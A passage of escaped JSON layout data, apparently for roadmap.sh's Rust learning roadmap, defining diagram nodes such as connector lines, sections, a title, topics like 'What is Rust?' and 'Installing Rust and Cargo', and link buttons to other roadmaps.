\"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 110\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 187.58542331133776,\n        \"y\": 2328.50200658478\n      }\n    },\n    {\n      \"id\": \"FGUbNtBQHC9af26mD5gAv\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 289.58542331133776,\n        \"y\": 2328.50200658478\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"jW6BXzMs6fb7cDnEZtg4n\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 110\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 289.58542331133776,\n        \"y\": 2328.50200658478\n      }\n    },\n    {\n      \"id\": \"jW6BXzMs6fb7cDnEZtg4n\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 300.8018811735381,\n        \"y\": 2041.550309464411\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 110\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 300.8018811735381,\n        \"y\": 2041.550309464411\n      }\n    },\n    {\n      \"id\": \"TMjwWmqqaJLGk3dM4wUCm\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 197.3018811735381,\n        \"y\": 2041.550309464411\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"jW6BXzMs6fb7cDnEZtg4n\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 110\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 197.3018811735381,\n        \"y\": 2041.550309464411\n      }\n    },\n    {\n      \"id\": \"6elkyME3Q_vTtjnmBJIZJ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 84.61996452082155,\n        \"y\": 2041.550309464411\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"FGUbNtBQHC9af26mD5gAv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 110\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 84.61996452082155,\n        \"y\": 2041.550309464411\n      }\n    },\n    {\n      \"id\": \"4SufzURM37h3CKmPcQhgu\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -96.6381872719935,\n        \"y\": 2143.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 83\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -96.6381872719935,\n        \"y\": 2143.559081382036\n      }\n    },\n    {\n      \"id\": \"7WUhiHKUnamVl-J-qZcI8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -176.81180589576024,\n        \"y\": 2143.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"4SufzURM37h3CKmPcQhgu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 83\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -176.81180589576024,\n        \"y\": 2143.559081382036\n      }\n    },\n    {\n      \"id\": \"ZwAjxTmMGbDF6A5v_o8HV\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -267.52995834089336,\n        \"y\": 2143.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"4SufzURM37h3CKmPcQhgu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 83\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -267.52995834089336,\n        \"y\": 2143.559081382036\n      }\n    },\n    {\n      \"id\": \"Lty8FW95Qw4eaQwrvgFft\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -553.2748410324898,\n        \"y\": 2143.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"4SufzURM37h3CKmPcQhgu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 83\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -553.2748410324898,\n        \"y\": 2143.559081382036\n      }\n    },\n    {\n      \"id\": \"--B8QrLgIH-l67iomugbW\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -450.6768832445764,\n        \"y\": 2143.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"4SufzURM37h3CKmPcQhgu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 83\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -450.6768832445764,\n        \"y\": 2143.559081382036\n      }\n    },\n    {\n      \"id\": \"IrJJ-xM83ltSp4meGT6Gm\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -654.1322659713495,\n        \"y\": 2143.559081382036\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"4SufzURM37h3CKmPcQhgu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 83\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -654.1322659713495,\n        \"y\": 2143.559081382036\n      }\n    },\n    {\n      \"id\": \"3nPTKH467-g4N0YBW0zpb\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -506.45066814637346,\n        \"y\": 1648.7461547010141\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 607,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -506.45066814637346,\n        \"y\": 1648.7461547010141\n      }\n    },\n    {\n      \"id\": \"oMiptPao4a2q92LjCy2NC\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -189.45066814637346,\n        \"y\": 1628.7461547010141\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        },\n        \"oldId\": \"3nPTKH467-g4N0YBW0zpb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -189.45066814637346,\n        \"y\": 1628.7461547010141\n      }\n    },\n    {\n      \"id\": \"gJbwBCJ4gnRTxZBI70WdQ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -196.81180589576024,\n        \"y\": 1473.339181586816\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 165\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -196.81180589576024,\n        \"y\": 1473.339181586816\n      }\n    },\n    {\n      \"id\": \"p3pDkuT1eGPgzMjrvXPh_\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 205.11996452082155,\n        \"y\": 1648.7461547010141\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 101\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 205.11996452082155,\n        \"y\": 1648.7461547010141\n      }\n    },\n    {\n      \"id\": \"utVj1oJEgIbwc21I6L0u5\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 210.93775495655632,\n        \"y\": 1130.0353435831921\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"p3pDkuT1eGPgzMjrvXPh_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 101\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 210.93775495655632,\n        \"y\": 1130.0353435831921\n      }\n    },\n    {\n      \"id\": \"cq9nRpKmmRHuXHs2xBWJl\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -216.8175069304428,\n        \"y\": 876.3984712635258\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 98\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -216.8175069304428,\n        \"y\": 876.3984712635258\n      }\n    },\n    {\n      \"id\": \"CnTH2dKlQCHe2otZjB_rt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -216.8175069304428,\n        \"y\": 699.6235753518292\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 193\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -216.8175069304428,\n        \"y\": 699.6235753518292\n      }\n    },\n    {\n      \"id\": \"1qgNC-F2wRmAE-UbQ1tzZ\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -356.7748410324898,\n        \"y\": 321.40454436142437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -356.7748410324898,\n        \"y\": 321.40454436142437\n      }\n    },\n    {\n      \"id\": \"2Agwu9c_rJzdNjV4DUaFx\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -709.7748410324898,\n        \"y\": 68.7294762338152\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 1236\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.7748410324898,\n        \"y\": 68.7294762338152\n      }\n    },\n    {\n      \"id\": \"w33P_0jGA6CV8uKi_d-bt\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -161.6381872719935,\n        \"y\": 150.9393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -161.6381872719935,\n        \"y\": 150.9393516042962\n      }\n    },\n    {\n      \"id\": \"xMeeAFhcYrR_hjli3QOam\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 9.04933185362654,\n        \"y\": 138.4642163827375\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 338,\n        \"height\": 227\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 9.04933185362654,\n        \"y\": 138.4642163827375\n      }\n    },\n    {\n      \"id\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -255.8175069304428,\n        \"y\": -38.879087788307686\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Rust\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 98,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -255.8175069304428,\n        \"y\": -38.879087788307686\n      }\n    },\n    {\n      \"id\": \"uqyE79OItPOX33E5FoGel\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -216.8175069304428,\n        \"y\": -133.0992517776511\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 81\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -216.8175069304428,\n        \"y\": -133.0992517776511\n      }\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -15.138187271993502,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -15.138187271993502,\n        \"y\": -148.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 361,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -0.13818727199350178,\n        \"y\": -62.09925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -0.13818727199350178,\n        \"y\": -62.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4U-HZQGH7kaWCB94Xy8Mh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.8175069304428,\n        \"y\": 136.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"08qKtgnhJ3tlb5JKfTDf5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.8175069304428,\n        \"y\": 136.4393516042962\n      }\n    },\n    {\n      \"id\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 9.861812728006498,\n        \"y\": 83.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Rust?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W4gEPRYmk5Y7y3PjI6fR7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 9.861812728006498,\n        \"y\": 83.4393516042962\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 74,\n      \"id\": \"ef-jFKMs8jw3Ti94jem96\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -187.22896441825404,\n        \"y\": 3284.899845583502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -187.22896441825404,\n        \"y\": 3284.899845583502\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 74\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 74\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -415.228964418254,\n        \"y\": 3181.7541881503926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continue learning with following roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -415.228964418254,\n        \"y\": 3181.7541881503926\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 477,\n        \"height\": 117\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"StxLh1r3qXqyRSqfJGird\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -403.62298223659093,\n        \"y\": 3235.899845583502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -403.62298223659093,\n        \"y\": 3235.899845583502\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -167.6229822365909,\n        \"y\": 3235.899845583502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -167.6229822365909,\n        \"y\": 3235.899845583502\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VhSEH_RoWFt1z2lial7xZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 173.04933185362654,\n        \"y\": 83.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Why use Rust?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 173.04933185362654,\n        \"y\": 83.4393516042962\n      }\n    },\n    {\n      \"id\": \"OSaXhs52pEviq0EpWXxVX\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 100.54933185362654,\n        \"y\": 149.90454436142437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Environment Setup\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 162,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 100.54933185362654,\n        \"y\": 149.90454436142437\n      }\n    },\n    {\n      \"id\": \"-IqA02ObYvXPW1ot6t_b9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 28.54933185362654,\n        \"y\": 192.90454436142437\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Installing Rust and Cargo\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        